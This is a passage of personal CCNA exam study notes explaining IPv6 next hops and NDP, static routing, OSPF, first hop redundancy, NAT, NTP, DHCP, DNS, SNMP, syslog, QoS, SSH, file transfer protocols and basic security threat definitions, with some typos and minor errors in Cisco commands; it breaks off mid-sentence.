Link-local addresses (IPv4 addresses in the range 169.254.0.0/16 or IPv6 addresses in the fe80::/10 range) are only valid and reachable within the local link or subnet. They are not routable across different network segments without specific routing configurations. On Ethernet links, when a router needs to forward packets to a next hop address, it must ensure that the next hop is reachable directly through a specific interface. Ethernet interfaces can have multiple IP addresses assigned, including link-local addresses. If you specify only the link-local address of a router interface as the next hop without indicating the outgoing interface, the router may face ambiguity in determining which interface to use to reach that next hop. This ambiguity arises because the same link-local address could potentially exist on multiple interfaces of the router or even on different routers within the same broadcast domain. By explicitly specifying the outgoing interface when configuring the next hop address, you eliminate ambiguity. This ensures that the router knows exactly which interface to use to forward packets towards the specified next hop address.

In IPv6 routing, Cisco IOS allows you to configure a route using only the ipv6 route command with the outgoing-interface parameter without specifying a next-hop address. While the router accepts this command, there are specific considerations and limitations, especially when the outgoing interface is Ethernet. When you configure a route using ipv6 route with only the outgoing-interface parameter (and omitting the next-hop address), the router assumes that it can directly deliver IPv6 packets for the specified destination prefix through the specified interface. On Ethernet interfaces, IPv6 typically relies on Neighbor Discovery Protocol (NDP) to resolve the link-layer addresses (MAC addresses) of devices on the local link. NDP is used to resolve IPv6 addresses to MAC addresses, which is necessary for forwarding packets within the local subnet. If you configure a route using ipv6 route with only the outgoing-interface, the router expects to resolve the next-hop IPv6 address to a MAC address via NDP. However, if the next-hop is not specified (only the interface is), the router cannot determine the next-hop address for forwarding packets outside the local subnet. Ethernet interfaces typically require a next-hop IPv6 address to correctly resolve the destination MAC address using NDP. Without a specific nexthop address, the router cannot forward IPv6 packets to destinations outside the local link because it lacks the necessary information to complete the NDP resolution process.

The Neighbor Discovery Protocol (NDP) is a key protocol in IPv6 networks, serving several purposes related to network operation and communication between devices. It replaces and enhances functions that were performed by protocols like ARP (Address Resolution Protocol) in IPv4 networks. NDP helps in determining the link-layer (MAC) address of a neighbor when only its IP address is known. This is similar to how ARP operates in IPv4. NDP monitors the reachability of neighboring nodes in IPv6 networks. It detects if a neighboring node has become unreachable, allowing hosts to update their routing tables accordingly. NDP helps hosts discover routers that are available on the local link. This is essential for hosts to know how to reach nodes outside the local subnet. NDP assists hosts in determining the network prefix(es) for the local link. This is crucial for hosts to autoconfigure their IPv6 addresses. NDP helps hosts learn additional configuration parameters from routers, such as MTU (Maximum Transmission Unit) size. NDP includes a mechanism for nodes to ensure that their chosen IPv6 addresses are unique on the local link before assigning them. Neighbor Discovery Protocol (NDP) works by utilizing a combination of ICMPv6 (Internet Control Message Protocol version 6) messages and multicast communication to achieve its goals. Hosts on an IPv6 network periodically send out Router Solicitation messages (ICMPv6 Type 133) to the all-routers multicast address. Routers on the network respond with Router Advertisement messages (ICMPv6 Type 134) that contain information such as the router's IPv6 address, network prefix(es), and other configuration parameters. Hosts use these Router Advertisement messages to learn about the presence of routers on the network and to configure their IPv6 addresses and default gateway. To determine the link-layer (MAC) address of a neighbor when only the IPv6 address is known (similar to ARP in IPv4), hosts use Neighbor Solicitation messages (ICMPv6 Type 135). These Neighbor Solicitation messages are sent to the solicited-node multicast address, which is derived from the IPv6 address of the destination. This allows targeted communication without flooding the entire network. The target node responds with a Neighbor Advertisement message (ICMPv6 Type 136), providing its link-layer address. Once the host receives the Neighbor Advertisement, it can cache the mapping between the IPv6 address and the link-layer address (MAC address). NDP monitors the reachability of neighboring nodes by using Neighbor Unreachability Detection (NUD). It does this by periodically sending Neighbor Solicitation messages to check if a neighbor is still reachable. If no response is received after multiple attempts, the neighbor is considered unreachable, and appropriate actions can be taken, such as updating routing tables. When a host configures an IPv6 address, it performs Duplicate Address Detection (DAD) to ensure the chosen address is unique on the link. The host sends Neighbor Solicitation messages with the tentative IPv6 address to check if any other node responds, indicating a duplicate address. NDP assists hosts in discovering network prefixes and additional configuration parameters by including this information in Router Advertisement messages. This allows hosts to autoconfigure their IPv6 addresses and obtain necessary network configuration details.

Default routes are used when a packet's destination address does not match any routes, but you do not want the router to discard a packet that it otherwise would.

- Router(config)# ip route 0.0.0.0 0.0.0.0 <interface>
- Router(config)# ipv6 router ::/0 <interface>

Network routes define a route to an entire subnet.

- Router(config)# ip route 172.16.2.0 255.255.255.0 s0/0/0
- Router(config)# ip route 172.16.3.0 255.255.255.0 172.16.5.3
- Router(config)# ipv6 route 2001:db8:1111:2::/64 s0/0/0

Host routes match a single IP. An engineer may want to route most packets to some subnet through one route but packets destined for a specific host through another route.

- Router(config)# ip route 10.1.1.9 255.255.255.255 10.9.9.9
- Router(config)# ipv6 router 2001:db8:1111:2::22/128 s0/0/0 fe80::ff:fe00:2

Floating static routes are used when when a primary route fails.

- Router(config)# ip route 172.16.2.0 255.255.255.0 172.16.5.3 130
- Router(config)# ipv6 route 2001:db8:1::/64 2001:db8:2::1 200

3.4 Configure and verify single area OSPFv2

- 3.4.a Neighbor adjacencies
- 3.4.b Point-to-point
- 3.4.c Broadcast (DR/BDR selection)
- 3.4.d Router ID

direct configuration ↓

- Router(config)# ospf process <1-65535>
- Router(config-router)# router-id X.X.X.X (OPTIONAL)
- Router(config-router)# network <IP_address><wildcard>area <area_id>

indirect configuration ↓

- Router(config-if)# ip ospf process <1-65535><area_id>
- Router(config-if)# ip ospf network [type] (OPTIONAL)

other configurations ↓

- Router(config-router)# passive-interface <interface>
- Router(config-router)# default-information originate
- Router(config-if)# ip ospf cost cost
- Router(config-router)# auto-cost reference
- Router(config-if)# speed 100
- Router(config-if)# bandwidth 10000
- Router(config-if)# clock rate

$OSPFcost = \frac{reference}{interface}$

- 1.544 Mbps = 64
- 10 Mbps = 10
- 100 Mbps = 1
- 1 Gbps = 1
- 10 Gbps = 1

The clock rate command is used on the DCE (Data Circuit-Terminating Equipment) side of a serial link (typically a CSU/DSU or modem) to specify the clock rate at which data is transmitted over the serial link. The speed command is used to manually set the speed (line rate) of an interface, such as Ethernet interfaces. The bandwidth command is used to manually set the nominal bandwidth of an interface. The bandwidth command primarily affects routing protocols (like OSPF) that use this information to calculate the metric or cost of the interface.

OSPF route summarization involves aggregating multiple contiguous network addresses into a single summary route advert. Route summarization should be done at the network boundary to avoid potential routing issues. Also, make sure that summarized routes cover all the individual routes being summarized.

Router(config-router)# area 0 range <IP_address><subnet_mask>

Suboptimal routing decisions refer to situations where routers select paths that are not the most efficient or optimal routes to reach a destination. This can occur due to factos such as unequal cost load balancing, asymmetric routing, or inefficient routing protocols. Suboptimal routing decisions can lead to increased latency, congestion, and subpar network performance.

A routing black hole occurs when a router receives traffic for a destination network but does not have a valid route to forward that traffic. This can happen due to various reasons, including misconfigured routes, unreachable next hops, or route summarization that omits specific routes. When a router encounters a routing black hole, it frops the packets, resulting in loss of connectivity to the affected destination.

verify the following: MTU, areas, network types, timers, neighbor states/roles, reference bandwidth, authentication

- Router(config)# show run (config)
- Router(config)# show ip protocols (config)
- Router(config)# show ip ospf interface (enabled interfaces)
- Router(config)# show ip ospf interface <interface>(enabled interfaces)
- Router(config)# show ip ospf interface brief (enabled interfaces)
- Router(config)# show ip ospf neighbor (neighbors)
- Router(config)# show ip ospf neighbor <interface>(neighbors)
- Router(config)# show ip ospf database (lsdb)
- Router(config)# show ip ospf rib (rib)
- Router(config)# show ip route (routes)
- Router(config)# show ip route ospf (routes)
- Router(config)# show ip route subnet mask (routes)
- Router(config)# show ip route | section subnet (route)

3.5 Describe the purpose, functions, and concepts of first hop redundancy protocols

First hop redundancy protocols (FHRPs) are crucial components of network design, ensuring high availability and redundancy for devices within the same subnet. These protocols provide fault-tolerant gateway mechanisms, enabling uninterrupted connectivity even if the primary gateway router experiences a failure. Each FHRP utilizes virtual MAC addresses for responding to ARP requests associated with the virtual IP address and multicast IP addresses for exchanging protocol messages, known as hello packets, among routers within the redundancy group. The election of the active router is typically determined by priority settings, allowing administrators to configure parameters such as priorities, timers, and preemptive behavior to tailor failover behavior to specific network requirements. VRRP operates by electing a virtual router master (primary) from a group of routers. The master router assumes responsibility for forwarding packets destined for the virtual IP address until it fails, triggering another router to take over seamlessly. Administrators typically define the virtual IP address, which resides within the subnet associated with the VRRP group. Routers participating in VRRP are designated as either masters (active) or backups (standby), with the active router actively handling traffic for the virtual IP address. The virtual MAC address format used by VRRP is 00-00-5E-00-01-VRID, where VRID (Virtual Router Identifier) ranges from 1 to 255. Protocol messages are multicast to 224.0.0.18. HSRP similarly elects an active router and standby routers within a group. The active router assumes ownership of the virtual IP address, responding to ARP requests for that IP. The virtual IP address in HSRP is typically chosen from the subnet associated with the HSRP group. Like VRRP, HSRP operates in an active/standby mode where the active router forwards traffic destined for the virtual IP address, and standby routers are prepared to take over if necessary. The virtual MAC address for HSRP follows the format 00-00-0C-07-AC-HSRP Group Number, with group numbers ranging from 0 to 255. Protocol messages for IPv4 are multicast to 224.0.0.2, and for IPv6 to FF02::66. GLBP enhances redundancy with load balancing capabilities in addition to providing failover mechanisms. It elects an active virtual gateway (AVG) from within the GLBP group, which shares responsibility for the virtual IP address with other members. GLBP dynamically assigns virtual IP addresses from a configured pool within the group. The AVG directs traffic to multiple active virtual forwarders (AVFs), distributing the workload among them. If the AVG becomes unavailable, another member within the group can assume its role. The virtual MAC address format for GLBP is 00-07-B4-00-xx-xx, where xx-xx is dynamically assigned based on the GLBP group configuration. Protocol messages are multicast to 224.0.0.102. GLBP utilizes group numbers (1 to 1023) to distinguish between different GLBP instances on the same subnet.

4.0 IP Services

4.1 Configure and verify inside source NAT using static and pools

static NAT configuration ↓

- Router(config-if)# ip nat inside
- Router(config-if)# ip nat outside
- Router(config)# ip nat inside source static <insidelocal><outsidelocal>

dynamic NAT configuration ↓

- Router(config)# ip nat pool mypool 203.0.113.20 203.0.113.30 netmask 255.255.255.0
- Router(config)# access-list 1 permit 192.168.1.0 0.0.0.255
- Router(config)# ip nat inside source list 1 pool mypool

verify the following: interfaces, address ranges, acl, hit/misses, routes to destinations↓

- R1# show access-lists
- R1# show ip nat translations [verbose]
- R1# show ip nat statistics
- R1# show ip route
- R1# show run
- R1# show interfaces <interface>

4.2 Configure and verify NTP operating in a client and server mode

NOTE: the time-range command can be used to set maintenance windows

software clock↓

- Router# clock set hh:mm:ss month day year

hardware clock↓

- Router# calendar set hh:mm:ss date dd month

timezones↓

- Router(config)# clock timezone name hours-offset [minutes-offset]

daylight savings↓

- Router(config)# clock summer-time recurring name start end [offset]

NOTE: NTP uses UTC time standard to sync network devices

NTP ↓

- R1(config)# ntp update-calendar
- R1(config)# interface loopback0
- R1(config-if)# ip address 10.1.1.1 255.255.255.255
- R1(config)# ntp source loopback 0

- R1(config)# ntp master <1-15>
- R2(config)# ntp server 10.1.1.1 [prefer]
- R2(config)# ntp peer 10.0.23.3
- R3(config)# ntp peer 10.0.23.2
- R3(config)# ntp authenticate
- R3(config)# ntp authentication-key key-number md5 key
- R3(config)# ntp trusted-key key-number
- R3(config)# ntp server 10.1.1.1 key key-number

verify the following: associations, status ↓

- Router# show ntp associations
- (* sys.peer, # selected, + candidate, - outlyer, x falseticker, configured)
- Router# show ntp status

4.3 Explain the role of DHCP and DNS within the network

DHCP assigns IP addresses to devices (clients) on the network automatically, ensuring that each device has a unique IP address without manual configuration. DHCP provides essential network configuration parameters such as subnet mask, default gateway, and DNS server addresses to devices. This ensures that devices can communicate effectively within the network and access resources outside the local subnet. DHCP manages IP address allocation efficiently by leasing addresses to devices for a specific period (lease time). It also handles address renewal, release, and reuse, optimizing IP address utilization in dynamic network environments. When a device (like a computer or smartphone) connects to a network, it sends out a DHCP discover message to locate DHCP servers on the network. DHCP servers receive DHCP discover messages and respond with DHCP offer messages containing IP address lease information and network configuration parameters. The client selects one DHCP offer and sends a DHCP request message to the chosen DHCP server, requesting the offered IP address and configuration. The DHCP server sends a DHCP acknowledgment (ACK) message confirming the lease of the IP address and providing the client with network configuration details. hroughout the lease period, the DHCP client periodically renews its IP address lease by sending DHCP request messages to the DHCP server. When the lease expires or the client disconnects, it releases the IP address back to the DHCP server.

DNS is a distributed system that translates domain names (like www.example.com) into IP addresses (like 192.0.2.1) that computers use to identify each other on a network. It is used to locate resources on the Internet or within a private network. DNS uses a hierarchical naming structure organized into domains and subdomains (e.g., example.com, subdomain.example.com), allowing for decentralized and scalable management of domain names. DNS servers cache resolved queries to improve efficiency and reduce the load on the DNS infrastructure, providing faster responses for frequently accessed domain names. When a device needs to resolve a domain name, it sends a DNS query to a DNS resolver (typically provided by the ISP or configured locally). The DNS resolver sends the query to root DNS servers, which provide information about Top-Level Domains (TLDs) like .com, .org, etc. The resolver then queries TLD DNS servers to find authoritative DNS servers responsible for the domain name's specific extension (like .com or .org). Finally, the resolver queries authoritative DNS servers, which hold the actual IP address information (A records) or other records (like MX for mail servers) for the requested domain. The authoritative DNS server sends the IP address back to the DNS resolver, which caches the response and returns the IP address to the requesting device.

4.4 Explain the function of SNMP in network operations

SNMP v1 serves as a foundational protocol for network management, providing essential capabilities for monitoring and managing network devices. Its primary function is to allow network administrators to gather information from SNMP-enabled devices regarding their operational status and performance metrics. This includes data such as CPU utilization, memory usage, interface statistics, and more. One of the key features of SNMP v1 is its support for trap-based notifications. SNMP-enabled devices can autonomously send trap messages to a central management station to alert administrators about significant events, such as link status changes, interface errors, or hardware failures. This proactive notification system helps in timely response and troubleshooting of network issues. However, SNMP v1 has limitations, particularly in terms of security. It relies solely on community strings (which act like passwords) for authentication and access control. These community strings are sent in clear text over the network, making SNMP v1 vulnerable to eavesdropping and unauthorized access. As a result, SNMP v1 is considered less secure compared to later versions. SNMP v2 was introduced to address some of the limitations of SNMP v1 while enhancing its capabilities. It retains the core functionalities of SNMP v1, such as device monitoring, trap notifications, and basic management operations. However, SNMP v2 improves upon SNMP v1 in several key areas. One significant enhancement in SNMP v2 is its refined protocol operations and support for additional data types, which improve efficiency and flexibility in managing network devices. SNMP v2 also introduces the 'inform' notification type, which enhances reliability by allowing the receiving entity to acknowledge the receipt of trap messages. Despite these improvements, SNMP v2 still relies on community-based security mechanisms similar to SNMP v1. It uses community strings for authentication and access control, which are transmitted in clear text. Therefore, SNMP v2 inherits the same security vulnerabilities as SNMP v1, making it potentially insecure for managing sensitive or critical network infrastructure. SNMP v3 represents a significant advancement in SNMP technology, primarily focused on addressing the security concerns that plagued SNMP v1 and SNMP v2. It introduces robust security features to protect sensitive management information and ensure the integrity and confidentiality of SNMP communications. The most notable feature of SNMP v3 is its comprehensive security architecture known as the User-based Security Model (USM). SNMP v3 shifts from community-based security to a user-based approach, where each user is authenticated using a username and password (or cryptographic keys). It supports strong authentication mechanisms such as MD5 and SHA for message integrity, ensuring that SNMP messages are not altered or tampered with during transmission. Additionally, SNMP v3 provides encryption capabilities using algorithms like DES (Data Encryption Standard) and AES (Advanced Encryption Standard). This ensures that SNMP messages are encrypted before transmission, protecting them from unauthorized disclosure and ensuring confidentiality. Furthermore, SNMP v3 offers fine-grained access control, allowing administrators to define access policies based on individual users or groups. This enables precise control over which devices can be managed and what actions (read, write, notify) are permitted. In summary, SNMP v3 is the most secure and feature-rich version of SNMP, offering strong authentication, encryption, and access control mechanisms. It is designed to meet the stringent security requirements of modern networks, making it suitable for managing sensitive and mission-critical infrastructure effectively.

4.5 Describe the use of syslog features including facilities and levels

Syslog is a standard protocol used for logging system messages and events within a network or computer system. It allows devices and applications to generate and store log messages centrally on a syslog server or collector. Syslog messages are categorized into facilities and levels to provide structured information about the events and status of various components within the network. Each facility provides a way to classify the origin or type of the syslog message, allowing administrators to categorize and filter log messages based on their source or subsystem. This categorization is useful for managing and analyzing log data, monitoring system behavior, and troubleshooting issues within the network environment. The 24 standard facilities in syslog are: kernel (0), user-level (1), mail (2), system daemons (3), security/authorization messages (4), syslog daemon (5), line printer subsytem (6), network new subsystem (7), UUCP subsysytem (8), clock daemon (9), security/authorization (10), FTP daemon (11), NTP subsystem (12), log audit (13), log alert (14), clock daemon (15), local0 (16) - local7 (23). Syslog levels indicate the severity or importance of a syslog message. There are eight standard syslog levels defined to classify the severity of events, ranging from informational to critical. Each level helps administrators prioritize and filter log messages based on their impact and urgency. The 8 severity levels are: Emergency (System is unusable, requires immediate attention. This is the most severe level.), Alert (Immediate action is needed. Critical conditions that should be addressed urgently.), Critical (Critical conditions. Indicates serious issues that require prompt attention.), Error (Error conditions. Indicates problems that need to be investigated and resolved.), Warning (Warning conditions. Indicates potential issues or conditions that could lead to problems if not addressed.), Notification (Normal but significant conditions. Information that is noteworthy but does not require immediate action.), Informational (Informational messages. Provides general operational information.), Debugging (Debugging messages. Used for troubleshooting and diagnostic purposes.). The syslog severity levels, both in standard syslog (as defined by RFC 5424) and in Cisco's implementation, are standardized to provide a structured way of indicating the severity or importance of events or messages logged by network devices and systems. While the specific labels (e.g., Emergency, Alert, Critical, Error) are standardized, the exact interpretation and use of these levels can vary somewhat based on the context and the specific implementation of syslog by different vendors or systems. The syslog severity levels are structured to provide a clear hierarchy of event severity. They help administrators prioritize their responses to logged events based on their potential impact on the network or system. By adhering to standard severity levels, syslog enables consistent interpretation and handling of messages across different systems and devices. This is crucial for interoperability and for ensuring that critical events are treated with appropriate urgency. While the labels and definitions of severity levels are standardized, there is some flexibility in how they are applied or interpreted. Different vendors or organizations might slightly adjust the thresholds or criteria for each severity level based on their specific needs and operational context. The interpretation of severity levels can vary based on the context of the system or application generating the log message. For example, what constitutes an ”Emergency” might differ between a critical infrastructure network and a less sensitive environment. Some vendors, like Cisco, have their own severity levels that align closely with standard syslog levels but may have subtle differences in how they are used or interpreted within their systems. Organizations may establish their own internal policies for logging and severity level thresholds based on their risk management strategies, operational requirements, and compliance mandates.

priority = (facility * 8) + severity

<165>Oct 12 10:15:01 router1 %SYS-5-CONFIG_I: Configured from console by adminuser

4.6 Configure and verify DHCP client and relay

DHCP relay is used to help move DHCP messages in/out of a segment

- Router(config-if)# ip helper-address 192.168.1.100

verify the following: clients, dhcp relay, dhcp snooping, port security ↓

- R1# show ip dhcp binding
- R1# show ip dhcp pool
- R1# show ip dhcp server statistics
- R1# show ip dhcp relay
- ipconfig (window) / ifconfig (unix)

4.7 Explain the forwarding per-hop behavior (PHB) for QoS, such as classification, marking, queuing, congestion, policing, and shaping

Forwarding Per-Hop Behavior (PHB) in QoS encompasses various mechanisms such as classification, marking, queuing, congestion management, policing, and shaping. These mechanisms collectively ensure that network traffic is handled according to defined QoS policies, prioritizing critical applications and traffic flows while managing network congestion and optimizing resource utilization. Effective PHB implementation is crucial for delivering predictable performance and meeting SLAs in modern network environments.

Classification is the process of identifying packets or traffic flows based on certain criteria, such as source/destination IP address, port numbers, protocol type, or packet content. By classifying packets into different classes or traffic categories, network administrators can prioritize or differentiate traffic based on its importance, application type, or service level agreement (SLA). Classification is typically done at the network edge (e.g., ingress router or switch) using access control lists (ACLs), packet marking (DSCP or IP precedence), or deep packet inspection (DPI) techniques.

Marking involves setting or modifying the Differentiated Services Code Point (DSCP) field in the IP header of packets. DSCP values determine the PHB treatment a packet should receive throughout the network. Marking allows routers and switches to quickly identify and apply PHB policies without re-classifying packets at every hop. It simplifies QoS implementation by ensuring consistent treatment based on the marked DSCP values. Marking can be performed based on traffic classification policies configured on network devices or by using traffic conditioning mechanisms like traffic policers or shapers.

Queuing involves placing packets into different queues based on their classification or marked DSCP values. Each queue can have its own scheduling algorithm and priority. Queuing helps manage packet transmission and prioritization during periods of congestion. High-priority traffic (e.g., voice or real-time video) can be serviced with minimal delay compared to lower-priority traffic. Network devices use queuing mechanisms such as First-In-First-Out (FIFO), Weighted Fair Queuing (WFQ), Priority Queuing (PQ), Class-Based Queuing (CBQ), or Low Latency Queuing (LLQ) to manage and prioritize packet transmission.

Congestion management refers to the mechanisms used to control and mitigate congestion within the network. It ensures fair resource allocation and prevents network performance degradation. By detecting and responding to congestion events, congestion management algorithms (e.g., Random Early Detection (RED), Weighted Random Early Detection (WRED)) help maintain QoS guarantees for different traffic classes. Congestion management is typically integrated with queuing mechanisms to drop or mark packets when congestion thresholds are exceeded, preventing network congestion and ensuring equitable resource allocation.

Policing involves monitoring and controlling the rate of traffic flows to enforce compliance with agreed-upon traffic contracts or service level agreements (SLAs). Policing ensures that traffic adheres to defined rate limits, preventing individual flows from consuming excessive network resources and affecting other traffic. Traffic policing is implemented using token bucket or rate limiting mechanisms. Packets exceeding defined rate limits may be dropped, remarked, or subjected to lower-priority handling.

Traffic shaping controls the rate of outbound traffic flows to ensure they conform to configured traffic profiles or desired traffic rates. Shaping smooths out traffic bursts by buffering excess packets and regulating their transmission rate, ensuring consistent traffic flow and minimizing packet loss during congestion. Traffic shaping is commonly performed at network egress points using shaping policies configured on routers or switches. It helps in optimizing network bandwidth utilization and ensuring predictable application performance.

IPP, or IP Precedence, is an older method of marking packets to prioritize traffic within networks based on their importance or priority level. IPP was originally defined in IPv4 networks to classify packets into one of eight priority levels (0 to 7). It uses the three most significant bits (the first 3 bits) in the Type of Service (ToS) field of the IP header to indicate priority. IPP values are used by network devices (routers, switches) to prioritize traffic handling and forwarding decisions. However, it has largely been replaced by Differentiated Services Code Point (DSCP) in modern networks. DSCP is a more advanced and widely used method for classifying and managing packet traffic in IP networks, defined in RFC 2474. DSCP allows packets to be marked with a specific code point in the IP header, indicating the desired forwarding behavior (Per-Hop Behavior, PHB) for QoS purposes. DSCP values range from 0 to 63 and are used to differentiate and prioritize traffic across networks. They are backward-compatible with the older IPP markings, with backward compatibility fields in the IP header. CoS is a QoS feature used in Layer 2 Ethernet networks (IEEE 802.1Q VLAN tagged frames) to prioritize traffic. CoS enables Ethernet switches to classify and prioritize traffic based on assigned priority levels (0 to 7) within VLANs. This helps manage traffic efficiently within a local network segment. CoS is often used in conjunction with VLAN tagging and prioritization mechanisms to ensure that critical traffic (such as voice or video) receives preferential treatment over less time-sensitive data. PCP, also known as IEEE 802.1p, is the method used within VLAN-tagged Ethernet frames to indicate priority levels. PCP assigns priority levels (0 to 7) to VLAN-tagged frames, allowing switches to prioritize traffic flows within VLANs based on their importance or required QoS treatment. PCP values are set in the VLAN tag of Ethernet frames and are used by switches to make forwarding decisions, ensuring that high-priority traffic receives minimal delay and higher transmission precedence.

Assured Forwarding (AF) is a Per-Hop Behavior (PHB) defined within the DiffServ framework (RFC 2597). It is designed to provide a guaranteed level of service for certain classes or types of traffic by assigning packets to one of four predefined forwarding classes (AF1, AF2, AF3, AF4). AF defines four classes, each with three drop precedence levels (Low, Medium, High).

$\binom{n}{k} = \frac{n!}{k!(n-k)!}$

$\binom{3}{1} * \binom{4}{1} = 12$ AF behaviors in total (AF1x, AF2x, AF3x, AF4x), or 4 options times 3 options. Each AF class guarantees a minimum level of forwarding resources and prioritization within the network. This assurance helps in maintaining the quality and predictability of service for critical traffic. Within each AF class, packets are marked with drop precedence values (e.g., Low Drop, Medium Drop, High Drop). This allows routers to make informed decisions during congestion, ensuring that higher-priority packets are forwarded ahead of lower-priority ones. AF behavior is implemented through packet marking using the Differentiated Services Code Point (DSCP) field in the IP header. Network devices use DSCP values to classify and prioritize packets into the appropriate AF class at the ingress (entry) points of the network.

Class Selector (CS) is a set of backward-compatible PHBs that maps the older IP Precedence (IPP) values to DSCP values within the DiffServ architecture. It is defined in RFC 2474 and RFC 2597. CS ensures backward compatibility with legacy networks that used IP Precedence (IPP) for QoS marking. CS maps IPP values (ranging from 0 to 7) directly to corresponding DSCP values. CS defines eight specific DSCP values (CS0 through CS7) corresponding to IPP values 0 through 7, respectively. This mapping allows devices that recognize only IPP to interpret and apply QoS policies based on DSCP values. CS can be used in conjunction with DiffServ-aware devices to maintain consistency and interoperability across networks transitioning from IPP-based QoS to DSCP-based QoS.

RFC 2474 defines the structure and use of the Differentiated Services (DiffServ) field in IPv4 and IPv6 headers. This field, also known as the DS field or the Type of Service (ToS) field, is used to carry Differentiated Services Code Point (DSCP) values. It specifies how these values are set and interpreted by network devices to provide differentiated treatment (Per-Hop Behaviors, PHBs) to packets based on their traffic class and priority. The DSCP field within the DS field consists of 6 bits (bits 0-5). These bits are used to encode different levels of service and priority for IP packets. They define the forwarding behavior (PHB) that should be applied to each packet as it traverses network devices. RFC 2474 also introduces the Explicit Congestion Notification (ECN) functionality within the DS field. The last 2 bits (bits 6-7) of the DS field are reserved for ECN. These bits are used to signal congestion to endpoints, allowing them to respond by adjusting their transmission rates without relying solely on packet drops as an indicator of congestion.

RFC 3168 extends the ECN mechanism introduced in RFC 2481 to be used with IP version 4 (IPv4) and IPv6. ECN allows routers to notify endpoints of impending congestion without dropping packets. This enables more efficient use of network resources and improved Quality of Service (QoS) by reducing packet loss and latency during periods of network congestion. RFC 3168 defines two ECN-capable transport codepoints within the IP header's DS field (bits 6-7). These are used by endpoints to indicate their support for ECN and their willingness to respond to congestion indications from the network. The CE codepoint is used by routers to mark packets during congestion. It notifies endpoints that congestion has been encountered along the packet's path, prompting them to reduce their transmission rates.

4.8 Configure network devices for remote access using SSH

- Router(config)# crypto key generate rsa
- Router(config)# username <username>priviledge 15 secret <pass>
- Router(config)# ip ssh version 2
- Router(config)# ip ssh time-out 120
- Router(config)# ip ssh authentication-retries 3

verify the following ↓

- Router# show run | include ssh
- Router# show ip ssh

NOTE: test a remote login

4.9 Describe the capabilities and functions of TFTP/FTP in the network

FTP is a foundational protocol in networking used for transferring files between computers over a TCP-based network such as the internet. Its primary function is to facilitate efficient and reliable file transfer operations between a client (user's computer) and a server (remote computer). One of FTP's key capabilities is its support for various authentication mechanisms, allowing users to securely access files on remote servers using username-password pairs or even anonymously, depending on the server configuration. This flexibility makes FTP suitable for both private and public file repositories. FTP operates in two primary modes: ASCII and binary. The ASCII mode ensures that text files are transferred with proper formatting, preserving line breaks and end-of-line characters according to the conventions of the sending and receiving systems. On the other hand, the binary mode transfers non-textual data, such as images or executables, without altering their content, ensuring bit-for-bit accuracy during transmission. Commands and responses form the core interaction model of FTP. Clients send commands like GET (retrieve a file), PUT (upload a file), and LIST (list directory contents) to servers, which respond with status codes indicating the success or failure of these operations. This command-response mechanism allows users to navigate directories, transfer files, and manage remote file systems efficiently. Security is a critical consideration in FTP implementations. Traditional FTP transmits data in plaintext, potentially exposing sensitive information to eavesdropping attacks. To address this, secure alternatives like FTPS (FTP Secure) and SFTP (SSH File Transfer Protocol) incorporate encryption and authentication mechanisms to protect data during transmission, ensuring confidentiality and integrity. In summary, FTP is a versatile protocol widely used for its robust file transfer capabilities, support for various authentication methods, and flexibility in handling different types of data. Its evolution into secure variants like FTPS and SFTP underscores its importance in modern networking environments where data security is paramount.

TFTP is a lightweight file transfer protocol designed for simplicity and efficiency, primarily used in scenarios where minimal overhead and rapid data transfer are more critical than advanced features. Unlike FTP, which operates over TCP, TFTP uses UDP (User Datagram Protocol), a connectionless transport protocol known for its speed but lacking in reliability mechanisms such as guaranteed delivery and error correction. This choice makes TFTP suitable for environments where speed is prioritized over data integrity, such as network bootstrapping and transferring small configuration files. TFTP's simplicity is evident in its minimalistic design. It lacks advanced features such as authentication and directory listing capabilities found in FTP. Instead, TFTP focuses solely on the essential functions of file read and write operations between a client and a server. The protocol's usage scenarios highlight its niche applications. For instance, TFTP is commonly employed by network devices during their boot process to download initial configuration files or firmware updates from a designated TFTP server. Its lightweight nature ensures that even devices with limited memory or processing capabilities can efficiently perform these critical tasks. Error handling in TFTP is basic compared to FTP. It relies on simple mechanisms like retries and timeouts to manage transmission errors. While this simplicity contributes to its efficiency, it also limits TFTP's suitability for applications requiring robust error recovery and data integrity assurance.

5.0 Security Fundamentals

5.1 Define key security concepts (threats, vulnerabilities, exploits, and mitigation techniques)

Threats refer to potential dangers or malicious events that can compromise the confidentiality, integrity, or availability of information or systems. Insider threats are risks posed by individuals within an organization who have authorized access to systems, but misuse that access for malicious purposes. Vulnerabilities are weaknesses or flaws in a system's design, implementation, or configuration that can be exploited by threats to gain unauthorized access or cause harm. Examples of vulns include: errors in code that can be exploited to gain unauthorized access or cause unintended behaviors, improperly configured systems that leave them open to exploitation or unauthorized access, failure to apply patches or updates can leave systems vulnerable to known exploits and attacks, use of weak passwords or inadequate authentication protocols that can be exploited to gain unauthorized access, failure to encrypt sensitive data in transit or at rest can expose it to interception or theft. Exploits are techniques or methods used by attackers to take advantage of vulnerabilities and compromise a system or gain unauthorized access. Social engineering encompasses various techniques used to manipulate individuals into divulging confidential information or performing actions that compromise security. Phishing is a fraudulent attempt to obtain sensitive information such as usernames, passwords, and credit card details by disguising as a trustworthy entity in electronic communications (typically email). Phishing emails often contain links to fake websites or direct users to enter their personal information on a fraudulent page. Spear phishing is a targeted form of phishing where attackers customize their emails to target specific individuals or organizations. The attacker gathers personal information about the target (e.g., from social media) to make the phishing attempt more convincing and increase the chances of success. Whaling is a specific type of spear phishing that targets high-profile individuals such as executives (referred to metaphorically as ”whales” due to their importance). Attackers aim to trick these individuals into divulging sensitive information or performing actions that can lead to financial loss or compromise of organizational security. Vishing (voice phishing) uses phone calls to deceive individuals into providing personal information or taking actions like transferring money. The attacker may impersonate a legitimate authority figure or service provider to gain the victim’s trust. Smishing (SMS phishing) involves sending fraudulent text messages (SMS) to deceive individuals into divulging personal information or clicking on malicious links. Similar to phishing, smishing exploits the immediacy and trust associated with text messages. Pharming involves redirecting internet traffic from legitimate websites to fraudulent ones without the user’s knowledge. Attackers achieve this by compromising DNS (Domain Name System) servers or using malware. Users are tricked into visiting fake websites where they may unknowingly enter sensitive information. Watering hole attacks target users by compromising websites that the targeted individuals are likely to visit. Attackers infect these websites with malware to exploit vulnerabilities in users’ browsers or devices, gaining access to their systems or stealing sensitive information. In summary, all these techniques involve manipulating human behavior (trust, curiosity, urgency) to trick individuals into divulging confidential information, clicking on malicious links, or taking actions that compromise security. Social engineering exploits psychological tendencies rather than technical vulnerabilities to achieve their objectives, making awareness and education crucial defenses against such attacks. Malware, encompassing viruses, worms, trojans, ransomware, and spyware, is malicious software designed to disrupt operations, steal data, or gain unauthorized access to computer systems. Viruses replicate by 